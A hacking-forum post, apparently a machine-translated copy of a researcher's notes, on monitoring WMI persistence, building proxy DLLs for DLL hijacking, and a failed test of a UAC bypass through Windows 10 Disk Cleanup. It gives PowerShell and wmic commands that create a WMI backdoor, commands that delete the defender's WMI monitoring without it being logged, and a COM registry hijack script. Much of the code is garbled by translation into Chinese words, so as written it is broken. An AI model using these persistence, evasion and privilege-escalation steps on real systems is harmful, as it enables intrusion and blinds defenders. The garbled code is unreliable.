跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

研究笔记周刊第一期(监控WMI出口使用磁盘清理绕过UAC)


XenoG

推荐的帖子

About:

监控WMI持久性

关于出口货物c的说明

我在Windows 10上使用磁盘清理的测试使用磁盘清理

目录:

介绍如何在系统日志中记录WMI坚持不懈,测试并分析如何绕过

动态链接库劫持中会用到的一个辅助工具,自动读取动态链接库的导出函数并生成对应的c代码

实际测试《using DiskCleanup on Windows 10 using DiskCleanup》 ,记录过程,虽然测试失败,但其中包含的绕过思路值得学习

0x01 Monitor WMI Persistence

Reference:

https://www。火眼。com/blog/threat-research/2016/08/wmi _ vs _ wmi _ monitor。超文本标记语言

简介

攻击者通常会利用WMI来实现远程执行(如wmiexec)和后门(如WMI坚持),然而Windows操作系统操作系统系统默认不会在日志中记录这些操作。于是蒂莫西帕里西和埃文佩纳提出了他们的解决方法:

利用WMI持久性的方法记录攻击者调用WMI的操作,并将以下结果写入系统日志中,监控系统实时读取系统日志,及时提醒用户受到攻击

事件消费者名称

事件消费者命令

过程调用方法

过程调用命令

实际测试

作者开源了一个powershell脚本,下载地址如下:

https://github。WMI _监视器/blob/master/wmi监视器。PS1

注:

powershell版本需要3.0或者更高

以管理员权限运行

测试系统:

Windows 8.1 x86

Powershell v3.0版版

1、运行脚本开启监控

如图

2-1.png

2、模拟攻击者新建一个定时启动后门

powershell代码如下:

$filterName='BotFilter82 '

$consumerName='BotConsumer23 '

$ exePath=' C:\ Windows \ System32 \ notepad。' exe '

$ Query=' SELECT * FROM _ _ InstanceModificationEvent 60内,其中TargetInstance是win32 _ performatteddata _ perfs _ System“”

$ WMIEventFilter=Set-wmi instance-Class _ _ event filter-NameSpace ' root \ subscription '-Arguments @ { Name=$ filterName;event namespace=' root \ CIM v2 Query language=' wql Query=$ Query }-错误操作停止

$ wmie vent consumer=Set-wmi instance-Class CommandLineEventConsumer-Namespace ' root \ subscription '-Arguments @ { Name=$ consumer Name;executable path=$ exePathCommandLineTemplate=$ exe path }

set-wmi instance-Class _ _ FilterToConsumerBinding-Namespace ' root \ subscription '-Arguments @ { Filter=$ WMIEventFilter;Consumer=$ WMIEventConsumer }

wmic在煤矿管理局下直接实现的代码如下:

wmic/NAMESPACE:' \ \ root \ subscription ' PATH _ _ event filter CREATE Name=' bot filter 82 ',EventNameSpace='root\cimv2 ',QueryLanguage='WQL ',Query=' SELECT * FROM _ _ instance modification event WITHIN 60 WHERE target instance is ' Win32 _ PerfFormattedData _ PerfOS _ System ' '

wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer CREATE Name=' bot consumer 23 ',可执行路径=' C:\ Windows \ System32 \ notepad。' exe ',命令行模板=' C:\ Windows \ System32 \ notepad。' exe '

wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ FilterToConsumerBinding CREATE Filter=" _ _ event Filter " .Name='BotFilter82 ' ',Consumer=' CommandLineEventConsumer .Name='BotConsumer23 ' '

注:

代码具体含义在《WMI Attacks》 、 《WMI Backdoor》 、 《WMI Defense》 、 《Study Notes of WMI Persistence using wmic.exe》 作过具体介绍,此处略

3、查看系统日志

控制面板-系统和安全-查看事件日志-事件查看器(本地)-Windows日志-应用程序

找到事件身份证明为8的事件,查看详细信息,如图

2-2.png

记录了如下信息:

==创造了新的WMI消费者==

消费者名称:BotConsumer23

执行的命令:C:\ Windows \ System32 \ notepad。可执行程序的扩展名

4、结论

系统日志成功记录攻击者留下的后门

站在攻击者角度的思考

如果攻击者能够实现WMI坚持不懈,代表其已经获得了管理员权限,那么可通过如下命令来查看已注册的WMI信息:

通过powershell查看的代码:

Filters:

get-wmio object-Namespace root \ Subscription-Class _ _事件筛选器

Event Consumers:

get-wmio object-Namespace root \ Subscription-Class _ _事件使用者

Event Bindings:

get-wmio object-Namespace root \ Subscription-Class _ _ FilterToConsumerBinding

通过wmic查看的代码:

Filters:

wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ event filter GET _ _ RELPATH/FORMAT:list

Event Consumers:

wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer GET _ _ RELPATH/FORMAT:list

Event Bindings:

wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ FilterToConsumerBinding GET _ _ RELPATH/FORMAT:list

如图,能够查看防御者留下的监控代码,那么当然可以通过命令行来删除监控,而更重要的是查看和删除操作不会被记录到日志中

2-3.png

通过powershell实现的删除代码如下:

get-wmio object _ _ event filter-namespace root \ subscription-filter ' name=' _ persistence event _ ' ' | Remove-wmio object

get-wmio object _ _ event filter-namespace root \ subscription-filter ' name=' _ ProcessCreationEvent _ ' ' | Remove-wmio对象

remove-wmio object-Path“ROOT \ subscription:NTEventLogEventConsumer .Name=' _ LogWMIConsumerEvent _ ' '

remove-wmio object-Path“ROOT \ subscription:NTEventLogEventConsumer .name=' _ LogWMIProcessCreationEvent _ ' '

get-wmio Object _ _ FilterToConsumerBinding-命名空间root \ subscription | Where-Object { $ _ .filter-match ' _ ProcessCreationEvent _ ' } | Remove-wmio对象

get-wmio Object _ _ FilterToConsumerBinding-命名空间root \ subscription | Where-Object { $ _ .filter-match ' _ persistence event _ ' } | Remove-wmio对象

综上,站在攻击者的角度,可能的绕过方法如下:

(1) 查看事件过滤器和事件消费者实例

(2) 删除监控功能的WMI实例

(3) 留下自己的WMI后门

(4) 手动再次开启监控功能的WMI实例

补充

公开的POC powershell脚本仅作为演示,在实际防御中要对以下操作进行记录:

_FilterToConsumerBinding 、__EventFilter和_ _事件消费者实例

Win10和服务器2016将会解决上述问题

Matt Graeber @ mattifestation:

"在Win 10中,我相信服务器2016、事件5861在

微软-视窗WMI活动/操作现在占领了WMI

坚持。

引用自:https://推特。com/matti festigation/status/766269596756312064

0x02 Instructions about ExportsToC++

Reference:

http://uacmeltdown.blogspot.nl/

https://谜0x 3。net/2016/08/15/file less-UAC-绕过-使用-eventvwr-exe-and-注册表-劫持/

https://github.com/michaellandi/exportstoc

简介

在实现UACBypass或者坚持的时候常常会用到动态链接库劫持,实现动态链接库劫持通常会先使用垃圾箱查看动态链接库的导出函数,构造一个具有相同导出函数的dll,并在其中添加有效载荷。出口货物c就是为了简化这个过程,尤其对于包含多个导出函数的dll,大大简化了这个过程。

实际测试

下载地址如下:

https://github.com/michaellandi/exportstoc

需要环境:。NET 2.0框架

安装Microsoft Visual Studio

测试实例:

https://谜0x 3。net/2016/08/15/file less-UAC-绕过-使用-eventvwr-exe-and-注册表-劫持/

https://3gstudent.github.io/Userland-registry-hijacking/

目的:

劫持计划任务用户任务,实现开机启动自己的dll,弹框

方法:

在HKEY _当前_用户\软件\类\CLSID\下新建项{ 58fb 76 b 9-ac85-4e 55-ac04-427593 B1 d 060 }

新建项InprocServer32

值设定为新动态链接库的绝对路径:c:\test\testexport.dll

劫持的原动态链接库路径:

c:\ Windows \ system32 \ dims作业。动态链接库

步骤:

1、运行出口货物c

下载工程并编译,直接运行会报错,如图

3-1.png

解决方法:

运行垃圾箱需要对编译环境,在可视化工作室工具中找到VS2012.lnk的开发人员命令提示符并运行,在弹出的煤矿管理局下运行出口c .可执行程序的扩展名

2、生成c代码

如图

3-2.png

打开原动态链接库:

c:\ Windows \ system32 \ dims作业。动态链接库

选择转换为C包装,输入原动态链接库的绝对路径:

c:\ Windows \ system32 \ dims作业。动态链接库

自动生成可供使用的c代码,如下:

#包括

#包括

使用命名空间标准

#杂注注释(链接器,'/export:DllCanUnloadNow=c:\ \ windows \ \ system32 \ \ dims job .DllCanUnloadNow,@1 ')

#杂注注释(链接器,'/export:DllGetClassObject=c:\ \ windows \ \ system32 \ \ dims job .DllGetClassObject,@2 ')

#杂注注释(链接器,'/export:DllRegisterServer=c:\ \ windows \ \ system32 \ \ dims job .DllRegisterServer,@3 ')

#杂注注释(链接器,'/export:DllUnregisterServer=c:\ \ windows \ \ system32 \ \ dims job .DllUnregisterServer,@4 ')

BOOL WINAPI DllMain(h实例hInst,DWORD原因,LPVOID)

{

返回真实的

}

如图

3-3.png

3、编译

使用vc6.0新建动态链接库工程,添加以上代码并加上有效载荷:

MessageBox(NULL," testexport "," testexport ",MB _ OK);

编译并保存为c:\test\testexport.dll

4、修改注册表,劫持用户任务

powershell代码如下:

函数调用-ScheduledTaskComHandlerUserTask

{

[cmdlet绑定(SupportsShouldProcess=$ True,ConfirmImpact='Medium')]

参数(

[参数(强制=$True)]

[ValidateNotNullOrEmpty()]

[字符串]

$Command,

[开关]

$Force

)

$ ScheduledTaskCommandPath=' HKCU:\ Software \ Classes \ CLSID \ { 58 FB 76 b 9-ac85-4e 55-ac04-427593 B1 d 060 } \ in proc server 32 '

if($ Force-or((Get-item property-Path $ ScheduledTaskCommandPath-Name '(默认值)'-错误操作静默继续)-eq $ null)){

新项目$ ScheduledTaskCommandPath-Force |

新项目属性名称'(默认)'-Value $ Command-属性类型string-Force | Out-Null

}否则{

'详细写入'密钥已经存在,请考虑使用-力

出口

}

如果(测试路径$ScheduledTaskCommandPath) {

详细写入"创建了劫持用户任务的注册表项"

}否则{

写警告'无法创建注册表项,正在退出'

出口

}

}

invoke-scheduledtaskscomhandlerusertask-Command ' c:\ test \ test export。' dll '-详细

5、注销用户,重启测试

弹框成功

如图

3-4.png

使用流程浏览器查看进程taskhost.exe,成功加载新的dll,如图

3-5.png

注:

在https://3gstudent.github.io/Userland-registry-hijacking/中使用的方法弹框后taskhost.exe进程报错,未给出病菌的解决方法,本文介绍的方式能够解决这个病菌

0x03 My test of using DiskCleanup on Windows 10 using DiskCleanup

Reference:

https://谜0x 3。net/2016/07/22/绕过-windows-10上的UAC-使用磁盘-清理/

简介

Win10系统中存在一个叫作"无声清理"的计划任务,任务运行时会作如下操作:

以高的权限运行cleanmgr.exe

创建临时目录c:\ Users \ AppData \ Local \ Temp \ GUID

将系统32\Dism下的DismHost.exe及其运行时需要加载的动态链接库复制到该临时目录

以高的权限运行DismHost.exe

删除临时目录所有内容

绕过思路

监控临时目录的生成

替换复制到该临时目录的dll,为确保及时,覆盖DismHost.exe最后加载的dll:LogProvider.dll

DismHost.exe启动时加载替换过的dll,实现UACBypass

POC脚本

下载地址:

https://要点。github。com/matti festiation/b 4072 a 066574 CAC CFA 07 fcf 723952d 54

实际测试

测试系统:

Win10 x64

补丁:

KB3173428(无法手动卸载)

测试过程:

1、正常启动计划任务无声清理

开启过程监视器

手动开启服务无声清理

如图

4-1.png

cleanmgr.exe创建临时目录

如图

4-2.png

切换到临时目录查看复制过来的动态链接库

如图

4-3.png

高的权限运行的DismHost.exe

如图

4-4.png

2、通过无线一键通脚本启动计划任务并测试

开启过程监视器

根据LogProvider.dll的导出函数编写新的动态链接库(过程略,可参考0x02)

执行验证性测试(概念验证的缩写)脚本

临时目录创建成功

接下来出现两种情况:

(1)LogProvider.dll替换失败

(2)脚本显示动态链接库文件替换成功,输出显示UACBypass成功,然而新的动态链接库并没有加载

查看临时目录,发现创建两个全局唯一标识符文件夹,一个是包含正常LogProvider.dll的目录,另一个是LogProvider.dll被替换成新动态链接库的目录

DismHost.exe正常启动,但没有加载新的动态链接库

测试失败

补充:

虽然测试失败,但是绕过思路值得学习:

无线一键通通过注册WMI事件来监控特定文件目录

当目录下有特定文件生成的时候对其替换

进而实现动态链接库劫持

这种替换思路在其他方面也会用到,值得收藏。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...